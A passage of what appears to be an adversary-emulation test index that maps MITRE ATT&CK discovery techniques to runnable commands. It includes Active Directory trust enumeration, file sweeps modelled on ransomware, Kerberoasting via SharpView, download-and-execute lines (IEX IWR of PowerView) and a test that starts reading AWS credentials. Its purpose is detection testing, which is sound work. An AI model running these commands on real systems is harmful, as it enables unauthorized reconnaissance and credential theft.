Microsoft. (n.d.). Domain.GetAllTrustRelationships Method. Retrieved February 14, 2019. - source_name: Harmj0y Domain Trusts url: https://posts.specterops.io/a-guide-to-attacking-domain-trusts-971e52cb2944 description: Schroeder, W. (2017, October 30). A Guide to Attacking Domain Trusts. Retrieved February 14, 2019. x_mitre_deprecated: false revoked: false description: 'Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain.(Citation: Microsoft Trusts) Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct [SID-History Injection](https://attack.mitre.org/techniques/T1134/005), [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003), and [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).(Citation: AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) Domain trusts can be enumerated using the `DSEnumerateDomainTrusts()` Win32 API call, .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility [Nltest](https://attack.mitre.org/software/S0359) is known to be used by adversaries to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)' modified: '2022-11-08T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Domain Trust Discovery x_mitre_detection: | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation but as part of a chain of behavior that could lead to other activities based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information, such as `nltest /domain_trusts`. Remote access tools with built-in features may interact directly with the Windows API to gather information. Look for the `DSEnumerateDomainTrusts()` Win32 API call to spot activity associated with [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Harmj0y Domain Trusts) Information may also be acquired through Windows system management tools such as [PowerShell](https://attack.mitre.org/techniques/T1059/001). The .NET method `GetAllTrustRelationships()` can be an indicator of [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Microsoft GetAllTrustRelationships) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: discovery x_mitre_is_subtechnique: false x_mitre_data_sources: - 'Process: Process Creation' - 'Command: Command Execution' - 'Script: Script Execution' - 'Network Traffic: Network Traffic Content' - 'Process: OS API Execution' x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1482 atomic_tests: - name: Windows - Discover domain trusts with dsquery auto_generated_guid: 4700a710-c821-4e17-a3ec-9e4c81d6845f description: | Uses the dsquery command to discover domain trusts. Requires the installation of dsquery via Windows RSAT or the Windows Server AD DS role. supported_platforms: - windows executor: command: 'dsquery * -filter "(objectClass=trustedDomain)" -attr * ' name: command_prompt - name: Windows - Discover domain trusts with nltest auto_generated_guid: 2e22641d-0498-48d2-b9ff-c71e496ccdbe description: | Uses the nltest command to discover domain trusts. Requires the installation of nltest via Windows RSAT or the Windows Server AD DS role. This technique has been used by the Trickbot malware family. supported_platforms: - windows dependencies: - description: 'nltest.exe from RSAT must be present on disk ' prereq_command: 'WHERE nltest.exe >NUL 2>&1 ' get_prereq_command: 'echo Sorry RSAT must be installed manually ' executor: command: | nltest /domain_trusts nltest /trusted_domains name: command_prompt - name: Powershell enumerate domains and forests auto_generated_guid: c58fbc62-8a62-489e-8f2d-3565d7d96f30 description: | Use powershell to enumerate AD information. Requires the installation of PowerShell AD admin cmdlets via Windows RSAT or the Windows Server AD DS role. supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'PowerView PowerShell script must exist on disk ' prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PowerView.ps1") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PowerView.ps1" - description: 'RSAT PowerShell AD admin cmdlets must be installed ' prereq_command: 'if ((Get-Command "Get-ADDomain" -ErrorAction Ignore) -And (Get-Command "Get-ADGroupMember" -ErrorAction Ignore)) { exit 0 } else { exit 1 } ' get_prereq_command: 'Write-Host "Sorry RSAT must be installed manually" ' executor: command: | Import-Module "PathToAtomicsFolder\..\ExternalPayloads\PowerView.ps1" Get-NetDomainTrust Get-NetForestTrust Get-ADDomain Get-ADGroupMember Administrators -Recursive ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships() name: powershell - name: Adfind - Enumerate Active Directory OUs auto_generated_guid: d1c73b96-ab87-4031-bad8-0e1b3b8bf3ec description: | Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory OUs reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html supported_platforms: - windows input_arguments: optional_args: description: Allows defining arguments to add to the adfind command to tailor it to the specific needs of the environment. Use "-arg" notation to add arguments separated by spaces. type: string default: dependency_executor_name: powershell dependencies: - description: 'AdFind.exe must exist on disk at specified location (PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe) ' prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") -ErrorAction ignore | Out-Null Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/bin/AdFind.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" executor: command: '"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=organizationalUnit) #{optional_args} ' name: command_prompt - name: Adfind - Enumerate Active Directory Trusts auto_generated_guid: 15fe436d-e771-4ff3-b655-2dca9ba52834 description: | Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Trusts reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html supported_platforms: - windows input_arguments: optional_args: description: Allows defining arguments to add to the adfind command to tailor it to the specific needs of the environment. Use "-arg" notation to add arguments separated by spaces. type: string default: dependency_executor_name: powershell dependencies: - description: 'AdFind.exe must exist on disk at specified location (PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe) ' prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") -ErrorAction ignore | Out-Null Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/bin/AdFind.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" executor: command: '"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -gcb -sc trustdmp ' name: command_prompt - name: Get-DomainTrust with PowerView auto_generated_guid: f974894c-5991-4b19-aaf5-7cc2fe298c5d description: 'Utilizing PowerView, run Get-DomainTrust to identify domain trusts. Upon execution, progress and info about trusts within the domain being scanned will be displayed. ' supported_platforms: - windows executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainTrust -Verbose name: powershell - name: Get-ForestTrust with PowerView auto_generated_guid: 58ed10e8-0738-4651-8408-3a3e9a526279 description: 'Utilizing PowerView, run Get-ForestTrust to identify forest trusts. Upon execution, progress and info about forest trusts within the domain being scanned will be displayed. ' supported_platforms: - windows executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-ForestTrust -Verbose name: powershell - name: TruffleSnout - Listing AD Infrastructure auto_generated_guid: ea1b4f2d-5b82-4006-b64f-f2845608a3bf description: 'Iterative AD discovery toolkit for offensive operators. Situational awareness and targeted low noise enumeration. Preference for OpSec.- https://github.com/dsnezhkov/TruffleSnout ' supported_platforms: - windows input_arguments: trufflesnout_path: description: Path to the TruffleSnout executable type: path default: PathToAtomicsFolder\..\ExternalPayloads\TruffleSnout.exe domain: description: Domain name to search on type: string default: "%userdomain%" dependency_executor_name: powershell dependencies: - description: 'TruffleSnout.exe must exist on disk at specified location (#{trufflesnout_path}) ' prereq_command: 'if (Test-Path "#{trufflesnout_path}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -ItemType Directory (Split-Path "#{trufflesnout_path}") -Force | Out-Null Invoke-WebRequest -Uri "https://github.com/dsnezhkov/TruffleSnout/releases/download/0.5/TruffleSnout.exe" -OutFile "#{trufflesnout_path}" executor: command: | "#{trufflesnout_path}" forest -n #{domain} "#{trufflesnout_path}" domain -n #{domain} name: command_prompt T1083: technique: modified: '2024-04-16T12:40:10.978Z' name: File and Directory Discovery description: |- Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. Many command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather file and directory information (e.g. dir, show flash, and/or nvram).(Citation: US-CERT-TA18-106A) Some files and directories may require elevated or specific user permissions to access. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: discovery x_mitre_contributors: - Austin Clark, @c2defense x_mitre_deprecated: false x_mitre_detection: "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather file and directory information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use of commands being run by non-standard users from non-standard locations. " x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows - Network x_mitre_version: '1.6' x_mitre_data_sources: - 'Command: Command Execution' - 'Process: Process Creation' - 'Process: OS API Execution' type: attack-pattern id: attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18 created: '2017-05-31T21:31:04.710Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1083 external_id: T1083 - source_name: Windows Commands JPCERT description: Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016. url: https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html - source_name: US-CERT-TA18-106A description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020. url: https://www.us-cert.gov/ncas/alerts/TA18-106A object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1083 atomic_tests: - name: File and Directory Discovery (cmd.exe) auto_generated_guid: 0e36303b-6762-4500-b003-127743b80ba6 description: 'Find or discover files on the file system. Upon successful execution, this test will output the results of all the data discovery commands to a specified file. ' supported_platforms: - windows input_arguments: output_file: description: File to output results to type: string default: "%temp%\\T1083Test1.txt" executor: command: | dir /s c:\ >> #{output_file} dir /s "c:\Documents and Settings" >> #{output_file} dir /s "c:\Program Files\" >> #{output_file} dir "%systemdrive%\Users\*.*" >> #{output_file} dir "%userprofile%\AppData\Roaming\Microsoft\Windows\Recent\*.*" >> #{output_file} dir "%userprofile%\Desktop\*.*" >> #{output_file} tree /F >> #{output_file} cleanup_command: 'del #{output_file} ' name: command_prompt - name: File and Directory Discovery (PowerShell) auto_generated_guid: 2158908e-b7ef-4c21-8a83-3ce4dd05a924 description: 'Find or discover files on the file system. Upon execution, file and folder information will be displayed. ' supported_platforms: - windows executor: command: | ls -recurse get-childitem -recurse gci -recurse name: powershell - name: Nix File and Directory Discovery auto_generated_guid: ffc8b249-372a-4b74-adcd-e4c0430842de description: | Find or discover files on the file system References: http://osxdaily.com/2013/01/29/list-all-files-subdirectory-contents-recursively/ https://perishablepress.com/list-files-folders-recursively-terminal/ supported_platforms: - linux - macos input_arguments: output_file: description: Output file used to store the results. type: path default: "/tmp/T1083.txt" executor: command: | ls -a >> #{output_file} if [ -d /Library/Preferences/ ]; then ls -la /Library/Preferences/ > #{output_file}; fi; file */* *>> #{output_file} cat #{output_file} 2>/dev/null find . -type f ls -R | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/ /' -e 's/-/|/' locate * which sh cleanup_command: 'rm #{output_file} ' name: sh - name: Nix File and Directory Discovery 2 auto_generated_guid: 13c5e1ae-605b-46c4-a79f-db28c77ff24e description: 'Find or discover files on the file system ' supported_platforms: - linux - macos input_arguments: output_file: description: Output file used to store the results. type: path default: "/tmp/T1083.txt" executor: command: | cd $HOME && find . -print | sed -e 's;[^/]*/;|__;g;s;__|; |;g' > #{output_file} if [ -f /etc/mtab ]; then cat /etc/mtab >> #{output_file}; fi; find . -type f -iname *.pdf >> #{output_file} cat #{output_file} find . -type f -name ".*" cleanup_command: 'rm #{output_file}' name: sh - name: Simulating MAZE Directory Enumeration auto_generated_guid: c6c34f61-1c3e-40fb-8a58-d017d88286d8 description: "This test emulates MAZE ransomware's ability to enumerate directories using Powershell. \nUpon successful execution, this test will output the directory enumeration results to a specified file, as well as display them in the active window. \nSee https://www.mandiant.com/resources/tactics-techniques-procedures-associated-with-maze-ransomware-incidents\n" supported_platforms: - windows input_arguments: File_to_output: description: File to output results to type: string default: "$env:temp\\T1083Test5.txt" executor: command: "$folderarray = @(\"Desktop\", \"Downloads\", \"Documents\", \"AppData/Local\", \"AppData/Roaming\")\nGet-ChildItem -Path $env:homedrive -ErrorAction SilentlyContinue | Out-File -append #{File_to_output}\nGet-ChildItem -Path $env:programfiles -erroraction silentlycontinue | Out-File -append #{File_to_output}\nGet-ChildItem -Path \"${env:ProgramFiles(x86)}\" -erroraction silentlycontinue | Out-File -append #{File_to_output}\n$UsersFolder = \"$env:homedrive\\Users\\\"\nforeach ($directory in Get-ChildItem -Path $UsersFolder -ErrorAction SilentlyContinue) \n{\nforeach ($secondarydirectory in $folderarray)\n {Get-ChildItem -Path \"$UsersFolder/$directory/$secondarydirectory\" -ErrorAction SilentlyContinue | Out-File -append #{File_to_output}}\n}\ncat #{File_to_output}\n" cleanup_command: 'remove-item #{File_to_output} -ErrorAction SilentlyContinue ' name: powershell - name: Launch DirLister Executable auto_generated_guid: c5bec457-43c9-4a18-9a24-fe151d8971b7 description: |- Launches the DirLister executable for a short period of time and then exits. Recently seen used by [BlackCat ransomware](https://news.sophos.com/en-us/2022/07/14/blackcat-ransomware-attacks-not-merely-a-byproduct-of-bad-luck/) to create a list of accessible directories and files. supported_platforms: - windows input_arguments: dirlister_path: description: 'Path to the DirLister executable ' type: string default: PathToAtomicsFolder\..\ExternalPayloads\DirLister.exe dependency_executor_name: powershell dependencies: - description: 'DirLister.exe must exist in the specified path #{dirlister_path} ' prereq_command: 'if (Test-Path "#{dirlister_path}") {exit 0} else {exit 1} ' get_prereq_command: | $parentpath = Split-Path "#{dirlister_path}" New-Item -ItemType Directory -Force -Path $parentpath | Out-Null Invoke-WebRequest https://github.com/SanderSade/DirLister/releases/download/v2.beta4/DirLister.v2.beta4.zip -OutFile "PathToAtomicsFolder\..\ExternalPayloads\TDirLister.v2.beta4.zip" Expand-Archive -Path "PathToAtomicsFolder\..\ExternalPayloads\TDirLister.v2.beta4.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\TDirLister.v2.beta4" -Force Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\TDirLister.v2.beta4\*" "$parentpath" -Recurse Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\TDirLister.v2.beta4.zip","PathToAtomicsFolder\..\ExternalPayloads\TDirLister.v2.beta4" -Recurse -ErrorAction Ignore executor: command: | Start-Process "#{dirlister_path}" Start-Sleep -Second 4 Stop-Process -Name "DirLister" name: powershell - name: ESXi - Enumerate VMDKs available on an ESXi Host auto_generated_guid: 4a233a40-caf7-4cf1-890a-c6331bbc72cf description: | An adversary uses the find command to enumerate vmdks on an ESXi host. [Reference](https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/) supported_platforms: - windows input_arguments: vm_host: description: Specify the host name of the ESXi Server type: string default: atomic.local vm_user: description: Specify the privilege user account on ESXi Server type: string default: root vm_pass: description: Specify the privilege user password on ESXi Server type: string default: pass plink_file: description: Path to Plink type: path default: PathToAtomicsFolder\..\ExternalPayloads\plink.exe cli_script: description: Path to script with file discovery commands type: path default: PathToAtomicsFolder\T1083\src\esxi_file_discovery.txt dependency_executor_name: powershell dependencies: - description: 'Check if plink is available. ' prereq_command: 'if (Test-Path "#{plink_file}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe" -OutFile "#{plink_file}" executor: command: 'echo "" | "#{plink_file}" "#{vm_host}" -ssh -l "#{vm_user}" -pw "#{vm_pass}" -m "#{cli_script}" ' name: command_prompt elevation_required: false T1049: technique: modified: '2022-11-08T14:00:00.188Z' name: System Network Connections Discovery description: "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. \n\nAn adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview) Similarly, adversaries who gain access to network devices may also perform similar discovery activities to gather information about connected systems and services.\n\nUtilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), \"net use,\" and \"net session\" with [Net](https://attack.mitre.org/software/S0039). In Mac and Linux, [netstat](https://attack.mitre.org/software/S0104) and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to \"net session\". Additionally, built-in features native to network devices and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) may be used (e.g. show ip sockets, show tcp brief).(Citation: US-CERT-TA18-106A)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: discovery x_mitre_detection: |- System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather system and network information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). x_mitre_platforms: - Windows - IaaS - Linux - macOS - Network x_mitre_is_subtechnique: false x_mitre_deprecated: false x_mitre_domains: - enterprise-attack x_mitre_version: '2.4' x_mitre_contributors: - Praetorian - Austin Clark, @c2defense x_mitre_data_sources: - 'Process: OS API Execution' - 'Process: Process Creation' - 'Command: Command Execution' type: attack-pattern id: attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475 created: '2017-05-31T21:30:45.139Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1049 external_id: T1049 - source_name: Amazon AWS VPC Guide description: Amazon. (n.d.). What Is Amazon VPC?. Retrieved October 6, 2019. url: https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html - source_name: Microsoft Azure Virtual Network Overview description: Annamalai, N., Casey, C., Almeida, M., et. al.. (2019, June 18). What is Azure Virtual Network?. Retrieved October 6, 2019. url: https://docs.microsoft.com/en-us/azure/virtual-network/virtual-networks-overview - source_name: Google VPC Overview description: Google. (2019, September 23). Virtual Private Cloud (VPC) network overview. Retrieved October 6, 2019. url: https://cloud.google.com/vpc/docs/vpc - source_name: US-CERT-TA18-106A description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020. url: https://www.us-cert.gov/ncas/alerts/TA18-106A object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1049 atomic_tests: - name: System Network Connections Discovery auto_generated_guid: '0940a971-809a-48f1-9c4d-b1d785e96ee5' description: | Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. Results will output via stdout. supported_platforms: - windows executor: command: | netstat net use net sessions name: command_prompt - name: System Network Connections Discovery with PowerShell auto_generated_guid: f069f0f1-baad-4831-aa2b-eddac4baac4a description: | Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout. supported_platforms: - windows executor: command: 'Get-NetTCPConnection ' name: powershell - name: System Network Connections Discovery FreeBSD, Linux & MacOS auto_generated_guid: 9ae28d3f-190f-4fa0-b023-c7bd3e0eabf2 description: | Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout. supported_platforms: - linux - macos dependency_executor_name: sh dependencies: - description: 'Check if netstat command exists on the machine ' prereq_command: 'if [ -x "$(command -v netstat)" ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'echo "Install netstat on the machine."; exit 1; ' executor: command: | netstat who -a name: sh - name: System Discovery using SharpView auto_generated_guid: 96f974bb-a0da-4d87-a744-ff33e73367e9 description: "Get a listing of network connections, domains, domain users, and etc. \nsharpview.exe located in the bin folder, an opensource red-team tool.\nUpon successful execution, cmd.exe will execute sharpview.exe . Results will output via stdout.\n" supported_platforms: - windows input_arguments: SharpView_url: description: sharpview download URL type: url default: https://github.com/tevora-threat/SharpView/blob/b60456286b41bb055ee7bc2a14d645410cca9b74/Compiled/SharpView.exe?raw=true SharpView: description: Path of the executable opensource redteam tool used for the performing this atomic. type: path default: PathToAtomicsFolder\..\ExternalPayloads\SharpView.exe syntax: description: Arguements method used along with SharpView to get listing of network connections, domains, domain users, and etc. type: string default: "\"Invoke-ACLScanner\", \"Invoke-Kerberoast\", \"Find-DomainShare\" \n" dependency_executor_name: powershell dependencies: - description: 'Sharpview.exe must exist on disk at specified location (#{SharpView}) ' prereq_command: 'if (Test-Path "#{SharpView}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{SharpView}") -ErrorAction ignore | Out-Null Invoke-WebRequest #{SharpView_url} -OutFile "#{SharpView}" executor: name: powershell elevation_required: true command: | $syntaxList = #{syntax} foreach ($syntax in $syntaxList) { #{SharpView} $syntax -} T1497: technique: x_mitre_platforms: - Windows - macOS - Linux x_mitre_domains: - enterprise-attack x_mitre_contributors: - Deloitte Threat Library Team - Sunny Neo object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d type: attack-pattern created: '2019-04-17T22:22:24.505Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1497 url: https://attack.mitre.org/techniques/T1497 - source_name: Deloitte Environment Awareness url: https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc description: Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021. - source_name: Unit 42 Pirpi July 2015 url: https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/ description: 'Falcone, R., Wartell, R.. (2015, July 27). UPS: Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved April 23, 2019.' modified: '2022-04-25T14:00:00.188Z' name: Virtualization/Sandbox Evasion description: |+ Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness) Adversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: discovery x_mitre_detection: Virtualization, sandbox, user activity, and related discovery techniques will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. x_mitre_version: '1.3' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Command: Command Execution' - 'Process: Process Creation' - 'Process: OS API Execution' x_mitre_defense_bypassed: - Anti-virus - Host forensic analysis - Signature-based detection - Static File Analysis x_mitre_is_subtechnique: false spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1619: technique: x_mitre_platforms: - IaaS x_mitre_domains: - enterprise-attack x_mitre_contributors: - Regina Elwell - Isif Ibrahima, Mandiant object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--8565825b-21c8-4518-b75e-cbc4c717a156 created: '2021-10-01T17:58:26.445Z' x_mitre_version: '1.0' external_references: - source_name: mitre-attack external_id: T1619 url: https://attack.mitre.org/techniques/T1619 - source_name: ListObjectsV2 url: https://docs.aws.amazon.com/AmazonS3/latest/API/API_ListObjectsV2.html description: Amazon - ListObjectsV2. Retrieved October 4, 2021. - source_name: List Blobs url: https://docs.microsoft.com/en-us/rest/api/storageservices/list-blobs description: Microsoft - List Blobs. (n.d.). Retrieved October 4, 2021. x_mitre_deprecated: false revoked: false description: |- Adversaries may enumerate objects in cloud storage infrastructure. Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage. Similar to [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) on a local host, after identifying available storage services (i.e. [Cloud Infrastructure Discovery](https://attack.mitre.org/techniques/T1580)) adversaries may access the contents/objects stored in cloud infrastructure. Cloud service providers offer APIs allowing users to enumerate objects stored within cloud storage. Examples include ListObjectsV2 in AWS (Citation: ListObjectsV2) and List Blobs in Azure(Citation: List Blobs) . modified: '2022-05-11T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Cloud Storage Object Discovery x_mitre_detection: "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained. \nMonitor cloud logs for API calls used for file or object enumeration for unusual activity. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: discovery x_mitre_is_subtechnique: false x_mitre_data_sources: - 'Cloud Storage: Cloud Storage Access' - 'Cloud Storage: Cloud Storage Enumeration' x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1619 atomic_tests: - name: AWS S3 Enumeration auto_generated_guid: 3c7094f8-71ec-4917-aeb8-a633d7ec4ef5 description: "This test will enumerate all the S3 buckets in the user account and lists all the files in each bucket. \n" supported_platforms: - iaas:aws dependencies: - description: 'Check if ~/.aws/credentials file has a default stanza is configured ' prereq_command: 'cat 